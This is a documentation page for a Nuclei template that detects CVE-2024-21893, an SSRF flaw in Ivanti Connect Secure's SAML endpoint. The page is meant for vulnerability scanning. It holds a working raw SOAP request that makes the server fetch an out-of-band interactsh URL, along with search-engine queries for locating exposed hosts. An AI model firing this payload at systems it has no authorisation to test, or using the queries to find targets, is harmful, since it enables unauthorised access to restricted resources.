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Ivanti SAML - Server Side Request Forgery (SSRF)

ID: CVE-2024-21893

Severity: high

Author: DhiyaneshDk

Tags: cve,cve2024,kev,ssrf,ivanti

Description

Section titled “Description”

A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.

YAML Source

Section titled “YAML Source”
id: CVE-2024-21893


info:
  name: Ivanti SAML - Server Side Request Forgery (SSRF)
  author: DhiyaneshDk
  severity: high
  description: |
    A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
  reference:
    - https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis
    - https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
    - https://github.com/advisories/GHSA-5rr9-mqhj-7cr2
    - https://github.com/Chocapikk/CVE-2024-21893-to-CVE-2024-21887
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2024-21893
    cwe-id: CWE-918
    epss-score: 0.96249
    epss-percentile: 0.9949
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - "html:\"welcome.cgi?p=logo\""
      - http.title:"ivanti connect secure"
      - http.html:"welcome.cgi?p=logo"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: cve,cve2024,kev,ssrf,ivanti


http:
  - raw:
      - |
        POST /dana-ws/saml20.ws HTTP/1.1
        Host: {{Hostname}}


        <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <ds:Signature    xmlns:ds="http://www.w3.org/2000/09/xmldsig#">      <ds:SignedInfo>        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>        <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>      </ds:SignedInfo>      <ds:SignatureValue>qwerty</ds:SignatureValue>      <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">        <ds:RetrievalMethod URI="http://{{interactsh-url}}"/>        <ds:X509Data/>      </ds:KeyInfo>      <ds:Object></ds:Object>    </ds:Signature>  </soap:Body></soap:Envelope>


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"


      - type: word
        part: body
        words:
          - '/dana-na/'
          - 'WriteCSS'
        condition: and
# digest: 4a0a00473045022022753ce28d5a7a53c429eb2c97c65b1520c1799ee1f331c68461dc9f1e302afa022100feaf90e9a6d1bf228669b4c051ff8b8328b65150b853a6b09ab682e667018cfa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-21893.yaml"

View on Github